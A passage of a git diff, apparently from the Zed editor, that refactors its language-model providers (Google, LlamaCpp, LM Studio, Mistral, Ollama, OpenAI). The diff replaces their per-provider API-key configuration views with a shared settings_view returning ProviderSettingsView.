-    ApiKeyConfiguration, AuthenticateError, ConfigurationViewTargetAgent, EnvVar,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelToolChoice,
-    LanguageModelToolSchemaFormat,
+    ApiKeyConfiguration, AuthenticateError, EnvVar, LanguageModelCompletionError,
+    LanguageModelCompletionEvent, LanguageModelToolChoice, LanguageModelToolSchemaFormat,
 };
 use language_model::{
     GOOGLE_PROVIDER_ID, GOOGLE_PROVIDER_NAME, IconOrSvg, LanguageModel, LanguageModelEffortLevel,
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
-    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest, RateLimiter,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    ProviderSettingsView, RateLimiter,
 };
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
@@ -22,9 +22,7 @@ pub use settings::GoogleAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 use language_model::ApiKeyState;
 
@@ -222,34 +220,19 @@ impl LanguageModelProvider for GoogleLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), target_agent, window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://aistudio.google.com/app/apikey".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://aistudio.google.com/app/apikey".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -388,142 +371,3 @@ impl LanguageModel for GoogleLanguageModel {
         async move { Ok(future.await?.boxed()) }.boxed()
     }
 }
-
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    target_agent: language_model::ConfigurationViewTargetAgent,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(
-        state: Entity<State>,
-        target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    // We don't log an error, because "not signed in" is also an error.
-                    let _ = task.await;
-                }
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor: cx.new(|cx| InputField::new(window, cx, "AIzaSy...")),
-            target_agent,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!(
-                "API key set in {} environment variable",
-                API_KEY_ENV_VAR.name
-            )
-        } else {
-            let api_url = GoogleLanguageModelProvider::api_url(cx);
-            if api_url == google_ai::API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div()
-                .child(Label::new("Loading credentials..."))
-                .into_any_element()
-        } else if self.should_render_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new(format!("To use {}, you need to add an API key. Follow these steps:", match &self.target_agent {
-                    ConfigurationViewTargetAgent::ZedAgent => "Zed's agent with Google AI".into(),
-                    ConfigurationViewTargetAgent::Other(agent) => agent.clone(),
-                })))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create one by visiting"))
-                                .child(ButtonLink::new("Google AI's console", "https://aistudio.google.com/app/apikey"))
-                        )
-                        .child(
-                            ListBulletItem::new("Paste your API key below and hit enter to start using the agent")
-                        )
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(
-                        format!("You can also set the {GEMINI_API_KEY_VAR_NAME} environment variable and restart Zed."),
-                    )
-                    .size(LabelSize::Small).color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("google-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!("To reset your API key, make sure {GEMINI_API_KEY_VAR_NAME} and {GOOGLE_AI_API_KEY_VAR_NAME} environment variables are unset."))
-                })
-                .into_any_element()
-        }
-    }
-}
diff --git a/crates/language_models/src/provider/llama_cpp.rs b/crates/language_models/src/provider/llama_cpp.rs
index ed207d4b47bbca..19f0e9f2962fd0 100644
--- a/crates/language_models/src/provider/llama_cpp.rs
+++ b/crates/language_models/src/provider/llama_cpp.rs
@@ -4,7 +4,7 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::Stream;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
+use gpui::{App, AsyncApp, Context, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::util::parse_tool_arguments;
 use language_model::{
@@ -12,8 +12,8 @@ use language_model::{
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
-    StopReason, TokenUsage, env_var,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, ProviderSettingsView,
+    RateLimiter, Role, StopReason, SubPageProviderSettings, TokenUsage, env_var,
 };
 use llama_cpp::{
     LLAMA_CPP_API_URL, ModelEntry, Props, get_models, get_props, stream_chat_completion,
@@ -562,12 +562,6 @@ impl LanguageModelProvider for LlamaCppLanguageModelProvider {
         None
     }
 
-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        Some(InlineDescription::Text(
-            "Run local models on your machine with LlamaCpp.".into(),
-        ))
-    }
-
     fn provided_models(&self, cx: &App) -> Vec<Arc<dyn LanguageModel>> {
         let settings = LlamaCppLanguageModelProvider::settings(cx);
         let effective = compute_effective_models(&self.state.read(cx).fetched_models, settings);
@@ -603,20 +597,17 @@ impl LanguageModelProvider for LlamaCppLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.clone();
-        cx.new(|cx| ConfigurationView::new(state, window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+        Some(ProviderSettingsView::SubPage(
+            SubPageProviderSettings::new(move |window, cx| {
+                cx.new(|cx| ConfigurationView::new(state.clone(), window, cx))
+                    .into()
+            })
+            .description(InlineDescription::Text(
+                "Run local models on your machine with LlamaCpp.".into(),
+            )),
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/lmstudio.rs b/crates/language_models/src/provider/lmstudio.rs
index 362db21070ed71..3f6e9fb46e2c43 100644
--- a/crates/language_models/src/provider/lmstudio.rs
+++ b/crates/language_models/src/provider/lmstudio.rs
@@ -3,7 +3,7 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::Stream;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Subscription, Task, TaskExt};
+use gpui::{App, AsyncApp, Context, Entity, Subscription, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
@@ -13,7 +13,7 @@ use language_model::{
 use language_model::{
     InlineDescription, LanguageModelId, LanguageModelName, LanguageModelProvider,
     LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, RateLimiter, Role,
+    LanguageModelRequest, ProviderSettingsView, RateLimiter, Role, SubPageProviderSettings,
 };
 use lmstudio::{LMSTUDIO_API_URL, ModelType, get_models};
 
@@ -252,12 +252,6 @@ impl LanguageModelProvider for LmStudioLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiLmStudio)
     }
 
-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        Some(InlineDescription::Text(
-            "Run local LLMs like Llama, Phi, and Qwen with LM Studio.".into(),
-        ))
-    }
-
     fn default_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
         // We shouldn't try to select default model, because it might lead to a load call for an unloaded model.
         // In a constrained environment where user might not have enough resources it'll be a bad UX to select something
@@ -318,19 +312,17 @@ impl LanguageModelProvider for LmStudioLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), _window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
+        let state = self.state.clone();
+        Some(ProviderSettingsView::SubPage(
+            SubPageProviderSettings::new(move |window, cx| {
+                cx.new(|cx| ConfigurationView::new(state.clone(), window, cx))
+                    .into()
+            })
+            .description(InlineDescription::Text(
+                "Run local LLMs like Llama, Phi, and Qwen with LM Studio.".into(),
+            )),
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/mistral.rs b/crates/language_models/src/provider/mistral.rs
index de9f385c8e5284..f12f33a6f35f4e 100644
--- a/crates/language_models/src/provider/mistral.rs
+++ b/crates/language_models/src/provider/mistral.rs
@@ -3,15 +3,15 @@ use collections::{BTreeMap, HashMap};
 use credentials_provider::CredentialsProvider;
 
 use futures::{FutureExt, Stream, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Global, SharedString, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, Global, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
-    StopReason, TokenUsage, env_var,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, ProviderSettingsView,
+    RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 pub use mistral::{MISTRAL_API_URL, StreamResponse};
 pub use settings::MistralAvailableModel as AvailableModel;
@@ -19,9 +19,7 @@ use settings::{Settings, SettingsStore};
 use std::pin::Pin;
 use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 use language_model::util::{fix_streamed_json, parse_tool_arguments};
 
@@ -222,34 +220,19 @@ impl LanguageModelProvider for MistralLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://console.mistral.ai/api-keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://console.mistral.ai/api-keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -765,145 +748,6 @@ struct RawToolCall {
     arguments: String,
 }
 
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor =
-            cx.new(|cx| InputField::new(window, cx, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"));
-
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    // We don't log an error, because "not signed in" is also an error.
-                    let _ = task.await;
-                }
-
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_api_key_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = MistralLanguageModelProvider::api_url(cx);
-            if api_url == MISTRAL_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div().child(Label::new("Loading credentials...")).into_any()
-        } else if self.should_render_api_key_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new("To use Zed's agent with Mistral, you need to add an API key. Follow these steps:"))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create one by visiting"))
-                                .child(ButtonLink::new("Mistral's console", "https://console.mistral.ai/api-keys"))
-                        )
-                        .child(
-                            ListBulletItem::new("Ensure your Mistral account has credits")
-                        )
-                        .child(
-                            ListBulletItem::new("Paste your API key below and hit enter to start using the assistant")
-                        ),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(
-                        format!("You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."),
-                    )
-                    .size(LabelSize::Small).color(Color::Muted),
-                )
-                .into_any()
-        } else {
-            v_flex()
-                .size_full()
-                .gap_1()
-                .child(
-                    ConfiguredApiCard::new("mistral-reset-key", configured_card_label)
-                        .disabled(env_var_set)
-                        .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                        .when(env_var_set, |this| {
-                            this.tooltip_label(format!(
-                                "To reset your API key, \
-                                unset the {API_KEY_ENV_VAR_NAME} environment variable."
-                            ))
-                        }),
-                )
-                .into_any()
-        }
-    }
-}
-
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/language_models/src/provider/ollama.rs b/crates/language_models/src/provider/ollama.rs
index 7bbc2ec18cdbe6..f0166c6afb12fe 100644
--- a/crates/language_models/src/provider/ollama.rs
+++ b/crates/language_models/src/provider/ollama.rs
@@ -4,7 +4,7 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
 use futures::{Stream, TryFutureExt, stream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
+use gpui::{App, AsyncApp, Context, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyState, AuthenticateError, DisabledReason, EnvVar, IconOrSvg, InlineDescription,
@@ -12,7 +12,8 @@ use language_model::{
     LanguageModelName, LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelRequestTool,
     LanguageModelToolChoice, LanguageModelToolUse, LanguageModelToolUseId, MessageContent,
-    RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ProviderSettingsView, RateLimiter, Role, StopReason, SubPageProviderSettings, TokenUsage,
+    env_var,
 };
 use menu;
 use ollama::{
@@ -276,12 +277,6 @@ impl LanguageModelProvider for OllamaLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiOllama)
     }
 
-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        Some(InlineDescription::Text(
-            "Run local models on your machine with Ollama.".into(),
-        ))
-    }
-
     fn default_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
         // We shouldn't try to select default model, because it might lead to a load call for an unloaded model.
         // In a constrained environment where user might not have enough resources it'll be a bad UX to select something
@@ -341,20 +336,17 @@ impl LanguageModelProvider for OllamaLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.clone();
-        cx.new(|cx| ConfigurationView::new(state, window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+        Some(ProviderSettingsView::SubPage(
+            SubPageProviderSettings::new(move |window, cx| {
+                cx.new(|cx| ConfigurationView::new(state.clone(), window, cx))
+                    .into()
+            })
+            .description(InlineDescription::Text(
+                "Run local models on your machine with Ollama.".into(),
+            )),
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index 87be0e2751b867..c2c74a8553b29d 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -2,7 +2,7 @@ use anyhow::Result;
 use collections::BTreeMap;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, FastModeConfirmation, IconOrSvg,
@@ -10,20 +10,17 @@ use language_model::{
     LanguageModelEffortLevel, LanguageModelId, LanguageModelName, LanguageModelProvider,
     LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
     LanguageModelRequest, LanguageModelToolChoice, OPEN_AI_PROVIDER_ID, OPEN_AI_PROVIDER_NAME,
-    RateLimiter, env_var,
+    ProviderSettingsView, RateLimiter, env_var,
 };
-use menu;
 use open_ai::{
-    OPEN_AI_API_URL, ResponseStreamEvent,
+    ResponseStreamEvent,
     responses::{Request as ResponseRequest, StreamEvent as ResponsesStreamEvent, stream_response},
     stream_completion,
 };
 use settings::{OpenAiAvailableModel as AvailableModel, Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 pub use open_ai::completion::{
     ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
@@ -204,34 +201,19 @@ impl LanguageModelProvider for OpenAiLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://platform.openai.com/api-keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://platform.openai.com/api-keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 
     fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
@@ -590,183 +572,3 @@ impl LanguageModel for OpenAiLanguageModel {
         }
     }
 }
-
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor = cx.new(|cx| {
-            InputField::new(
-                window,
-                cx,
-                "sk-000000000000000000000000000000000000000000000000",
-            )
-        });
-
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    // We don't log an error, because "not signed in" is also an error.
-                    let _ = task.await;
-                }
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |input, cx| input.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = OpenAiLanguageModelProvider::api_url(cx);
-            if api_url == OPEN_AI_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        let api_key_section = if self.should_render_editor(cx) {
-            v_flex()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new("To use Zed's agent with OpenAI, you need to add an API key. Follow these steps:"))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create one by visiting"))
-                                .child(ButtonLink::new("OpenAI's console", "https://platform.openai.com/api-keys"))
-                        )
-                        .child(
-                            ListBulletItem::new("Ensure your OpenAI account has credits")
-                        )
-                        .child(
-                            ListBulletItem::new("Paste your API key below and hit enter to start using the agent")
-                        ),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .child(
-                    Label::new(
-                        "Note that having a subscription for another service like GitHub Copilot won't work.",
-                    )
-                    .size(LabelSize::Small).color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("openai-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
-                })
-                .into_any_element()
-        };
-
-        let compatible_api_section = h_flex()
-            .mt_1p5()
-            .gap_0p5()
-            .flex_wrap()
-            .when(self.should_render_editor(cx), |this| {
-                this.pt_1p5()
-                    .border_t_1()
-                    .border_color(cx.theme().colors().border_variant)
-            })
-            .child(
-                h_flex()
-                    .gap_2()
